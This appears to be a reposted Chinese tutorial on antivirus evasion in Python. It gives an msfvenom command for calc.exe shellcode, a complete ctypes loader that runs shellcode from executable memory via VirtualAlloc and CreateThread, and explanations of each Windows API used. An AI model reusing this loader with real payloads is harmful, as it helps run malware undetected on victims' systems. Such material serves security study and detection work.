日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程语言 > python >内容正文

python

python免杀技术---shellcode的加载与执行

發(fā)布時(shí)間:2023/12/1 python 21 豆豆
生活随笔 收集整理的這篇文章主要介紹了 python免杀技术---shellcode的加载与执行 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

0x01 生成shellcode

首先通過(guò)下列命令生成一個(gè)shellcode,使用msfvenom -p選項(xiàng)來(lái)指定paylaod,這里選用windows/x64、exec模塊接收的參數(shù)。使用calc.exe執(zhí)行彈出計(jì)算器的操作。-f選項(xiàng)用來(lái)執(zhí)行生成的shellcdoe的編譯語(yǔ)言。

msfvenom -p windows/x64/exec CMD='calc.exe' -f py

0x02 加載與執(zhí)行shellcode的程序

程序?yàn)?#xff1a;

# -*- coding:utf-8 -*-import ctypes from ctypes import * from ctypes.wintypes import * import sysPAGE_EXECUTE_READWRITE = 0x00000040 MEM_COMMIT = 0x3000 PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)VirtualAlloc = windll.kernel32.VirtualAlloc RtlMoveMemory = windll.kernel32.RtlMoveMemory CreateThread = windll.kernel32.CreateThread WaitForSingleObject = windll.kernel32.WaitForSingleObject OpenProcess = windll.kernel32.OpenProcess VirtualAllocEx = windll.kernel32.VirtualAllocEx WriteProcessMemory = windll.kernel32.WriteProcessMemory CreateRemoteThread = windll.kernel32.CreateRemoteThreadshellcode = bytearray(b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"b"\x78\x65\x00" )def run1():VirtualAlloc.restype = ctypes.c_void_p #重載函數(shù)返回類(lèi)型為voidp = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申請(qǐng)內(nèi)存buf = (c_char * len(shellcode)).from_buffer(shellcode)#將shellcdoe指向指針RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#復(fù)制shellcdoe到申請(qǐng)的內(nèi)存中h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #執(zhí)行創(chuàng)建線程WaitForSingleObject(c_int(h),c_int(-1))#檢測(cè)線程創(chuàng)建事件if __name__ == "__main__":run1()

0x03 程序解釋

  • 導(dǎo)入模塊,并且程序分配內(nèi)存還有可進(jìn)行讀寫(xiě)操作。
import ctypes from ctypes import * from ctypes.wintypes import * import sysPAGE_EXECUTE_READWRITE = 0x00000040 MEM_COMMIT = 0x3000 PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)

區(qū)域可執(zhí)行代碼,可讀可寫(xiě)

PAGE_EXECUTE_READWRITE = 0x00000040

分配內(nèi)存

MEM_COMMIT = 0x3000

給予進(jìn)程所有權(quán)限

PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)
  • 調(diào)用windows api
VirtualAlloc = windll.kernel32.VirtualAlloc RtlMoveMemory = windll.kernel32.RtlMoveMemory CreateThread = windll.kernel32.CreateThread WaitForSingleObject = windll.kernel32.WaitForSingleObject OpenProcess = windll.kernel32.OpenProcess VirtualAllocEx = windll.kernel32.VirtualAllocEx WriteProcessMemory = windll.kernel32.WriteProcessMemory CreateRemoteThread = windll.kernel32.CreateRemoteThread
  • 將前面生成的shellcode賦值給shellcode參數(shù),賦值前使用bytearray函數(shù)處理
shellcode = bytearray(b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"b"\x78\x65\x00" )
  • 創(chuàng)建一個(gè)方法并調(diào)用,申請(qǐng)內(nèi)存,將shellcode指向分配的內(nèi)存指針,再?gòu)?fù)制shellcode到內(nèi)存中,創(chuàng)建線程事件并執(zhí)行:
def run1():VirtualAlloc.restype = ctypes.c_void_p #重載函數(shù)返回類(lèi)型為voidp = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申請(qǐng)內(nèi)存buf = (c_char * len(shellcode)).from_buffer(shellcode)#將shellcdoe指向指針RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#復(fù)制shellcdoe到申請(qǐng)的內(nèi)存中h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #執(zhí)行創(chuàng)建線程WaitForSingleObject(c_int(h),c_int(-1))#檢測(cè)線程創(chuàng)建事件

VirtualAlloc是用來(lái)申請(qǐng)內(nèi)存空間,是一個(gè)Windows API函數(shù),它的聲明為:

LPVOID VirtualAlloc{ LPVOID lpAddress, // 要分配的內(nèi)存區(qū)域的地址 DWORD dwSize, // 分配的大小 DWORD flAllocationType, // 分配的類(lèi)型 DWORD flProtect // 該內(nèi)存的初始保護(hù)屬性 };

RtlMoveMemory從指定內(nèi)存中復(fù)制內(nèi)存至另一內(nèi)存里.語(yǔ)法為:

VOID RtlMoveMemory( VOID UNALIGNED *Destination, const VOID UNALIGNED *Source, SIZE_T Length );

參數(shù):

Destination :指向移動(dòng)目的地址的指針。 Source :指向要復(fù)制的內(nèi)存地址的指針。 Length :指定要復(fù)制的字節(jié)數(shù)。

CreateThread是一種微軟在Windows API中提供了建立新的線程的函數(shù),該函數(shù)在主線程的基礎(chǔ)上創(chuàng)建一個(gè)新線程。
函數(shù)原型:

HANDLE CreateThread( LPSECURITY_ATTRIBUTES lpThreadAttributes,//SD SIZE_T dwStackSize,//initialstacksize LPTHREAD_START_ROUTINE lpStartAddress,//threadfunction LPVOID lpParameter,//threadargument DWORD dwCreationFlags,//creationoption LPDWORD lpThreadId//threadidentifier )

參數(shù)意義

  • lpThreadAttributes:指向SECURITY_ATTRIBUTES型態(tài)的結(jié)構(gòu)的指針。在Windows 98中忽略該參數(shù)。在Windows NT中,NULL使用默認(rèn)安全性,不可以被子線程繼承,否則需要定義一個(gè)結(jié)構(gòu)體將它的bInheritHandle成員初始化為T(mén)RUE。
  • dwStackSize,設(shè)置初始棧的大小,以字節(jié)為單位,如果為0,那么默認(rèn)將使用與調(diào)用該函數(shù)的線程相同的棧空間大小。任何情況下,Windows根據(jù)需要?jiǎng)討B(tài)延長(zhǎng)堆棧的大小。
  • lpStartAddress,指向線程函數(shù)的指針,形式:@函數(shù)名,函數(shù)名稱沒(méi)有限制
  • lpParameter:向線程函數(shù)傳遞的參數(shù),是一個(gè)指向結(jié)構(gòu)的指針,不需傳遞參數(shù)時(shí),為NULL。
  • dwCreationFlags :線程標(biāo)志,可取值如下
    (1)CREATE_SUSPENDED(0x00000004):創(chuàng)建一個(gè)掛起的線程,
    (2)0:表示創(chuàng)建后立即激活。
    (3)STACK_SIZE_PARAM_IS_A_RESERVATION(0x00010000):dwStackSize參數(shù)指定初始的保留堆棧 的大小,否則,dwStackSize指定提交的大小。該標(biāo)記值在Windows 2000/NT and Windows Me/98/95上不支持。
  • lpThreadId:保存新線程的id。
    WaitForSingleObject是一種Windows API函數(shù)。當(dāng)?shù)却栽趻炱馉顟B(tài)時(shí),句柄被關(guān)閉,那么函數(shù)行為是未定義的。該句柄必須具有 SYNCHRONIZE 訪問(wèn)權(quán)限。
    聲明:
  • DWORD WINAPI WaitForSingleObject( __in HANDLE hHandle, __in DWORD dwMilliseconds );

    hHandle[in]對(duì)象句柄。可以指定一系列的對(duì)象,如Event、Job、Memory resource notification、Mutex、Process、Semaphore、Thread、Waitable timer等。
    dwMilliseconds[in]定時(shí)時(shí)間間隔,單位為milliseconds(毫秒).如果指定一個(gè)非零值,函數(shù)處于等待狀態(tài)直到hHandle標(biāo)記的對(duì)象被觸發(fā),或者時(shí)間到了。如果dwMilliseconds為0,對(duì)象沒(méi)有被觸發(fā)信號(hào),函數(shù)不會(huì)進(jìn)入一個(gè)等待狀態(tài),它總是立即返回。如果dwMilliseconds為INFINITE,對(duì)象被觸發(fā)信號(hào)后,函數(shù)才會(huì)返回。

    運(yùn)行程序可以成功彈出計(jì)算器。

    總結(jié)

    以上是生活随笔為你收集整理的python免杀技术---shellcode的加载与执行的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

    如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。